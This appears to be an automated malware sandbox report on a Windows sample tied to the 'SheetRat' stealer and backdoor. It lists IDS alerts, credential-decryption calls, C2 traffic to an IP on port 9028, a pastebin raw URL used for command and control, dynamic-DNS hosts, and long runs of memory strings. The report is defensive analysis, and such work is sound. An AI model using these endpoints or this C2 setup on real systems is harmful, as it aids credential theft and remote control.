                    2024-12-13T08:25:19.876885+010028517461A Network Trojan was detected192.168.11.2049720147.185.221.229028TCP
                    2024-12-13T08:25:20.106785+010028517461A Network Trojan was detected192.168.11.2049721147.185.221.229028TCP
                    2024-12-13T08:25:22.803331+010028517461A Network Trojan was detected192.168.11.2049722147.185.221.229028TCP

                    Joe Sandbox Signatures

                    Click to jump to signature section

                    Show All Signature Results

                    AV Detection

                    barindex
                    Antivirus detection for URL or domain
                    Source: https://pastebin.coAvira URL Cloud: Label: malware
                    Multi AV Scanner detection for submitted file
                    Source: CVmkXJ7e0a.exeReversingLabs: Detection: 76%
                    Machine Learning detection for sample
                    Source: CVmkXJ7e0a.exeJoe Sandbox ML: detected
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F982E79 CryptUnprotectData,0_2_00007FFE6F982E79
                    Source: C:\Users\user\Desktop\CVmkXJ7e0a.exeCode function: 0_2_00007FFE6F983015 CryptUnprotectData,0_2_00007FFE6F983015
                    Source: unknownHTTPS traffic detected: 104.20.4.235:443 -> 192.168.11.20:49714 version: TLS 1.0
                    Source: CVmkXJ7e0a.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                    Source: Binary string: C:\Users\Malware\Desktop\hack tool\Backdoor\Sheet rat v 2.2\Src\SheetRat\bin\Release\Plugins\Stealer.pdb source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmp
                    Source: Binary string: C:\Users\Malware\Desktop\hack tool\Backdoor\SheetRat\SheetRat\bin\Release\Stub\UserMode.pdb source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BD1000.00000004.00000800.00020000.00000000.sdmp
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\userJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.iniJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Internet ExplorerJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\Roaming\MicrosoftJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppDataJump to behavior
                    Source: C:\Users\user\AppData\Roaming\xdwdpnsvr.exeFile opened: C:\Users\user\AppData\RoamingJump to behavior

                    Networking

                    barindex
                    Suricata IDS alerts for network traffic
                    Source: Network trafficSuricata IDS: 2851746 - Severity 1 - ETPRO MALWARE MSIL/TrojanDownloader.Small.CUV Variant Checkin : 192.168.11.20:49722 -> 147.185.221.22:9028
                    Source: Network trafficSuricata IDS: 2851746 - Severity 1 - ETPRO MALWARE MSIL/TrojanDownloader.Small.CUV Variant Checkin : 192.168.11.20:49721 -> 147.185.221.22:9028
                    Source: Network trafficSuricata IDS: 2851746 - Severity 1 - ETPRO MALWARE MSIL/TrojanDownloader.Small.CUV Variant Checkin : 192.168.11.20:49720 -> 147.185.221.22:9028
                    Connects to a pastebin service (likely for C&C)
                    Source: unknownDNS query: name: pastebin.com
                    Source: global trafficTCP traffic: 192.168.11.20:49715 -> 147.185.221.22:9028
                    Source: global trafficHTTP traffic detected: GET /raw/bCQ1bAxy HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
                    Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
                    Source: Joe Sandbox ViewIP Address: 104.20.4.235 104.20.4.235
                    Source: Joe Sandbox ViewIP Address: 147.185.221.22 147.185.221.22
                    Source: Joe Sandbox ViewIP Address: 104.16.185.241 104.16.185.241
                    Source: Joe Sandbox ViewASN Name: SALSGIVERUS SALSGIVERUS
                    Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
                    Source: unknownDNS query: name: icanhazip.com
                    Source: unknownHTTPS traffic detected: 104.20.4.235:443 -> 192.168.11.20:49714 version: TLS 1.0
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
                    Source: global trafficHTTP traffic detected: GET /raw/bCQ1bAxy HTTP/1.1Host: pastebin.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
                    Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: icanhazip.comConnection: Keep-Alive
                    Source: global trafficDNS traffic detected: DNS query: pastebin.com
                    Source: global trafficDNS traffic detected: DNS query: l-carlo.gl.at.ply.gg
                    Source: global trafficDNS traffic detected: DNS query: icanhazip.com
                    Source: global trafficDNS traffic detected: DNS query: marketdedamoroza.webhop.me
                    Source: global trafficDNS traffic detected: DNS query: 49.39.14.0.in-addr.arpa
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3681814321.000000001BD20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3681814321.000000001BD20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002D4C000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: http://icanhazip.com
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002F3D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://marketdedamoroza.we
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002F3D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://marketdedamoroza.webhop.me
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002F3D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://marketdedamoroza.webhop.me/index.html
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002C6D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://marketdedamoroza.webhop.mep
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002960000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.00000000035DE000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002CFB000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D2B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3681814321.000000001BD20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bm0
                    Source: tmp7714.tmp.dat.0.drString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2751034563.000000001BA07000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/odirm
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://c2rsetup.officeapps.live.com/c2r/download.aspx?productReleaseID=HomeBusiness2019Retail&platf
                    Source: tmp7714.tmp.dat.0.drString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012BFB000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3684881452.000000001CF10000.00000004.08000000.00040000.00000000.sdmpString found in binary or memory: https://discordapp.com/api/v6/users/
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B9AB9339B
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-GB&attribution_code=c291cm
                    Source: tmp7714.tmp.dat.0.drString found in binary or memory: https://duckduckgo.com/ac/?q=
                    Source: tmp818B.tmp.dat.0.dr, tmp7E9C.tmp.dat.0.dr, tmp81EA.tmp.dat.0.dr, tmp7714.tmp.dat.0.drString found in binary or memory: https://duckduckgo.com/chrome_newtab
                    Source: tmp7714.tmp.dat.0.drString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                    Source: tmp7714.tmp.dat.0.drString found in binary or memory: https://gemini.google.com/app?q=
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://javadl.oracle.com/webapps/download/AutoDL?BundleId=245029_d3c52aa6bfa54d3ca74e617f18309292K
                    Source: tmp782E.tmp.dat.0.drString found in binary or memory: https://login.live.com/
                    Source: tmp782E.tmp.dat.0.drString found in binary or memory: https://login.live.com//
                    Source: tmp782E.tmp.dat.0.drString found in binary or memory: https://login.live.com/https://login.live.com/
                    Source: tmp782E.tmp.dat.0.drString found in binary or memory: https://login.live.com/v104
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3681814321.000000001BD20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ocsp.quovadisoffshore.com0
                    Source: Downloads.txt.0.drString found in binary or memory: https://packetstormsecurity.com/files/download/22459/BIOS320.EXE)
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.c
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.co
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000003E.00000002.2914742198.0000000002D47000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/r
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/ra
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/b
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/bC
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/bCQ
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/bCQ1
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/bCQ1b
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/bCQ1bA
                    Source: xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/bCQ1bAx
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3664308331.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 0000000F.00000002.2744314834.0000000002F95000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 00000019.00000002.2821549881.0000000002DA5000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000020.00000002.2806267271.0000000002987000.00000004.00000800.00020000.00000000.sdmp, xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmp, xdwdpnsvr.exe, 00000034.00000002.2886914181.0000000002D17000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/bCQ1bAxy
                    Source: xdwdUpdate.exe, 0000002A.00000002.2895963175.0000000003607000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pastebin.comp
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, History.txt.0.dr, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://secure.eicar.org/eicar.com
                    Source: tmp7C1B.tmp.dat.0.dr, eicar.com.txt_Zone.Identifier.0.drString found in binary or memory: https://secure.eicar.org/eicar.com.txt
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://secure.eicar.org/eicar.com.txt/
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://secure.eicar.org/eicar.com.txtD
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://secure.eicar.org/eicar.com/
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EE0000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://secure.eicar.org/eicar.com;
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://stubdownloader.services.mozilla.com/?attribution_code=c291cmNlPXd3dy5nb29nbGUuY29tJm1lZGl1bT
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000013853000.00000004.00000800.00020000.00000000.sdmp, CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001384B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://support.mozilla.org
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://support.mozilla.org/en-GB/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=fire
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://support.mozilla.org/en-GB/products/firefoxgro.allizom.troppus.
                    Source: tmp818B.tmp.dat.0.dr, tmp7E9C.tmp.dat.0.dr, tmp81EA.tmp.dat.0.dr, tmp7714.tmp.dat.0.drString found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
                    Source: tmp818B.tmp.dat.0.dr, tmp7E9C.tmp.dat.0.dr, tmp81EA.tmp.dat.0.dr, tmp7714.tmp.dat.0.drString found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.exe
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.exeQ
                    Source: Downloads.txt.0.drString found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/)
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/autoit/download
                    Source: tmp7E9C.tmp.dat.0.dr, tmp7714.tmp.dat.0.drString found in binary or memory: https://www.ecosia.org/newtab/
                    Source: eicar.com.txt_Zone.Identifier.0.drString found in binary or memory: https://www.eicar.org/
                    Source: History.txt.0.drString found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/
                    Source: Downloads.txt.0.drString found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/)
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EE0000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/:
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012EC8000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.eicar.org/download-anti-malware-testfile/Download
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.eicar.org/https://eicar.org/https://www.eicar.org/download-anti-malware-testfile/https:/
                    Source: tmp7C1B.tmp.dat.0.dr, Downloads.txt.0.drString found in binary or memory: https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_
                    Source: tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.google.com/chrome/next-steps.html?brand=CHWL&statcb=0&installdataindex=empty&defaultbrow
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.0000000012ED4000.00000004.00000800.00020000.00000000.sdmp, tmp79E7.tmp.dat.0.dr, tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.google.com/https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-n
                    Source: tmp7E9C.tmp.dat.0.dr, tmp7714.tmp.dat.0.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
                    Source: tmp818B.tmp.dat.0.dr, tmp81EA.tmp.dat.0.drString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                    Source: tmp7C1B.tmp.dat.0.drString found in binary or memory: https://www.google.com/search?q=eicar
                    Source: tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org
                    Source: CVmkXJ7e0a.exe, 00000000.00000002.3672605336.000000001385B000.00000004.00000800.00020000.00000000.sdmp, tmp79A8.tmp.dat.0.dr, tmp76E4.tmp.dat.0.drString found in binary or memory: https://www.mozilla.org/en-GB/about/gro.allizom.www.
